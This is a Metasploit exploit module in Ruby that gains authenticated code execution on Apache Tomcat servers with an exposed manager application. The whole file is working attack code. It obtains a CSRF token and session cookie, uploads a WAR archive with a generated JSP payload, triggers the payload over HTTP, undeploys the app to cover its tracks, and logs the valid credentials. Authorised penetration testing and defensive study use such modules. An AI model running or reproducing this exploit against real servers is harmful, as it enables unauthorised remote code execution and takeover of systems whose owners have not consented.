414 lines
11 KiB
Ruby
414 lines
11 KiB
Ruby
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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HttpFingerprint = { :pattern => [ /Apache.*(Coyote|Tomcat)/ ] }
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache Tomcat Manager Application Deployer Authenticated Code Execution',
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'Description' => %q{
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This module can be used to execute a payload on Apache Tomcat servers that
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have an exposed "manager" application. The payload is uploaded as a WAR archive
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containing a jsp application using a POST request.
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The manager application can also be abused using deploy but this is already imple
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NOTE: The compatible payload sets vary based on the selected target. For
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example, you must select the Windows target to use native Windows payloads.
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},
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'Author' => [ 'rangercha' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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# This is based on jduck's tomcat_mgr_deploy.
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# the tomcat_mgr_deploy o longer works for current versions of tomcat due to
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# CSRF protection tokens, a required session ID and the change from PUT to a
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# multipart/form-data POST.
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#
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# There is no single vulnerability associated with deployment functionality.
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# Instead, the focus has been on insecure/blank/hardcoded default passwords.
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# Although the default deployment no longer has any account enabled that can
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# access the manager-gui functionality, people still enable it with weak
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# credentials.
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],
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'Platform' => %w{ java linux win }, # others?
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'Targets' =>
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[
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#
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# detect via /manager/serverinfo
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#
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# do target detection but java meter by default
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[ 'Automatic',
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{
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'Arch' => ARCH_JAVA,
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'Platform' => 'java'
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}
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],
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[ 'Java Universal',
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{
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'Arch' => ARCH_JAVA,
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'Platform' => 'java'
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},
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],
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#
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# Platform specific targets only
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#
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[ 'Windows Universal',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'win'
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},
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],
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[ 'Linux x86',
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{
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'Arch' => ARCH_X86,
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'Platform' => 'linux'
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},
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],
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Nov 09 2009'))
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register_options(
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[
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OptString.new('USERNAME', [ false, 'The username to authenticate as' ]),
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OptString.new('PASSWORD', [ false, 'The password for the specified username' ]),
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# /cognos_express/manager/ for Cognos Express (19300)
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OptString.new('PATH', [ true, "The URI path of the manager app (/html/upload and /undeploy will be used)", '/manager'])
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], self.class)
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end
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def check
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res = query_manager
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disconnect
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return CheckCode::Unknown if res.nil?
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if (res.code.between?(400, 499))
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print_error("Server rejected the credentials")
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return CheckCode::Unknown
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end
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report_auth_info(
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:host => rhost,
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:port => rport,
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:sname => (ssl ? "https" : "http"),
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:user => datastore['USERNAME'],
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:pass => datastore['PASSWORD'],
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:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
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:active => true
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)
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print_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}")
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return CheckCode::Vulnerable
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end
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def auto_target
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print_status("Attempting to automatically select a target...")
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res = query_status()
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return nil if not res
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plat = detect_platform(res.body)
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arch = detect_arch(res.body)
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# No arch or platform found?
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if (not arch or not plat)
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return nil
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end
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# see if we have a match
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targets.each { |t|
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if (t['Platform'] == plat) and (t['Arch'] == arch)
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return t
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end
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}
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# no matching target found
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return nil
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end
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def exploit
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mytarget = target
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if (target.name =~ /Automatic/)
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mytarget = auto_target
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if (not mytarget)
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fail_with(Failure::NoTarget, "Unable to automatically select a target")
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end
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print_status("Automatically selected target \"#{mytarget.name}\"")
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else
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print_status("Using manually select target \"#{mytarget.name}\"")
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end
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# We must regenerate the payload in case our auto-magic changed something.
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p = exploit_regenerate_payload(mytarget.platform, mytarget.arch)
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# Generate the WAR containing the EXE containing the payload
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jsp_name = rand_text_alphanumeric(4+rand(32-4))
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app_base = rand_text_alphanumeric(4+rand(32-4))
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# Generate the WAR containing the payload
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war = p.encoded_war({
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:app_name => app_base,
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:jsp_name => jsp_name,
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:arch => mytarget.arch,
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:platform => mytarget.platform
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}).to_s
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#find CSRF Token
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res = query_manager()
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return nil if not res
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session_id = res.get_cookies()
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csrf_token = find_csrf(res)
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if(csrf_token==nil)
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query_str = ""
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else
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query_str = "?path=/"
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query_str << app_base
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query_str << "&org.apache.catalina.filters.CSRF_NONCE=" + csrf_token
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end
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# UPLOAD
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#
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path_tmp = normalize_uri(datastore['PATH'], "html/upload") + query_str
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print_status("Uploading #{war.length} bytes as #{app_base}.war ...")
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boundary_identifier=rand_text_numeric(28)
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warmultipart = "-----------------------------"
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warmultipart << boundary_identifier
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warmultipart << "\r\nContent-Disposition: form-data; name=\"deployWar\"; filename=\""
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warmultipart << app_base
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warmultipart << ".war\"\r\nContent-Type: application/octet-stream\r\n\r\n"
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warmultipart << war
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warmultipart << "\r\n-----------------------------"
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warmultipart << boundary_identifier
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warmultipart << "--\r\n"
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res = send_request_cgi({
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'uri' => path_tmp,
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'method' => 'POST',
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'ctype' => 'multipart/form-data; boundary=---------------------------' + boundary_identifier,
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'user' => datastore['USERNAME'],
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'password' => datastore['PASSWORD'],
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'cookie' => session_id,
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'data' => warmultipart,
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}, 20)
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if (! res)
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fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [No Response]")
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end
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if (res.code < 200 or res.code >= 300)
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case res.code
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when 401
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print_warning("Warning: The web site asked for authentication: #{res.headers['WWW-Authenticate'] || res.headers['Authentication']}")
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end
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fail_with(Failure::Unknown, "Upload failed on #{path_tmp} [#{res.code} #{res.message}]")
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end
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report_auth_info(
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:host => rhost,
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:port => rport,
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:sname => (ssl ? "https" : "http"),
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:user => datastore['USERNAME'],
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:pass => datastore['PASSWORD'],
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:proof => "WEBAPP=\"Tomcat Manager App\", VHOST=#{vhost}, PATH=#{datastore['PATH']}",
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:active => true
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)
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#
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# EXECUTE
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#
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jsp_path = '/' + app_base + '/' + jsp_name + '.jsp'
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print_status("Executing #{jsp_path}...")
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res = send_request_cgi({
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'uri' => jsp_path,
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'method' => 'GET'
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}, 20)
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if (! res)
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print_error("Execution failed on #{app_base} [No Response]")
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elsif (res.code < 200 or res.code >= 300)
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print_error("Execution failed on #{app_base} [#{res.code} #{res.message}]")
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vprint_status(res.body)
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end
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#Get the new CSRF token & session id
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res = query_manager()
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return nil if not res
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session_id = res.get_cookies()
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csrf_token = find_csrf(res)
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if(csrf_token==nil)
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query_str = ""
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else
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query_str = "?path=/"
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query_str << app_base
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query_str << "&org.apache.catalina.filters.CSRF_NONCE=" + csrf_token
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end
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#
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# DELETE
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#
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path_tmp = normalize_uri(datastore['PATH'], "/html/undeploy") + query_str
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print_status("Undeploying #{app_base} ...")
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res = send_request_cgi({
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'uri' => path_tmp,
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'method' => 'POST',
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'user' => datastore['USERNAME'],
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'password' => datastore['PASSWORD'],
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'cookie' => session_id
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}, 20)
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if (! res)
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print_warning("WARNING: Undeployment failed on #{path_tmp} [No Response]")
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elsif (res.code < 200 or res.code >= 300)
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print_warning("Deletion failed on #{path_tmp} [#{res.code} #{res.message}]")
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end
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handler
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end
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def query_status()
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path = normalize_uri(datastore['PATH'], '/status')
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res = send_request_raw(
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{
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'uri' => path
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}, 10)
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if (not res) or (res.code != 200)
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print_error("Failed: Error requesting #{path}")
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return nil
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end
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vprint_status(res.body)
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return res
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end
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def query_manager()
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path = normalize_uri(datastore['PATH'], '/html')
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res = send_request_raw(
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{
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'uri' => path
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}, 10)
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if (not res) or (res.code != 200)
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print_error("Failed: Error requesting #{path}")
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return nil
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end
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return res
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end
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def detect_platform(body = nil)
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if not body
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res = query_status()
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return nil if not res
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body = res.body
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end
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i=0
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body.each_line { |ln|
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ln.chomp!
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case ln
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when /OS Name/
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i=1
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end
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if (i==9 or i==11)
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if ln.include? "Windows"
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return 'win'
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elsif ln.include? "Linux"
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return 'linux'
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elsif i==11
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return 'unknown'
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end
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end
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if i>0
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i=i+1
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end
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}
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end
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def detect_arch(body)
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if not body
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res = query_status()
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return nil if not res
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body = res.body
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end
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i=0
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body.each_line { |ln|
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ln.chomp!
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case ln
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when /OS Architecture/
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i=1
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end
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if (i==9 or i==11)
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if ln.include? 'x86'
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return ARCH_X86
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elsif ln.include? 'i386'
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return ARCH_X86
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elsif ln.include? 'i686'
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return ARCH_X86
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elsif ln.include? 'x86_64'
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return ARCH_X86
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elsif ln.include? 'amd64'
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return ARCH_X86
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elsif i==11
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return 'unknown'
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end
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end
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if i>0
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i=i+1
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end
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}
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end
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def find_csrf(res = nil)
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print_status("Finding CSRF")
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body=res.body
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body.each_line { |ln|
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ln.chomp!
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csrf_string = "CSRF_NONCE="
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csrf_nonce = ln.index(csrf_string)
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csrf_test=0
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if csrf_nonce == nil
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csrf_test = -1
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else
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csrf_test = csrf_nonce
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end
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if csrf_test>=0
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token = ln[csrf_nonce+csrf_string.length,32]
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return token
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end
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}
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return ""
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end
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end
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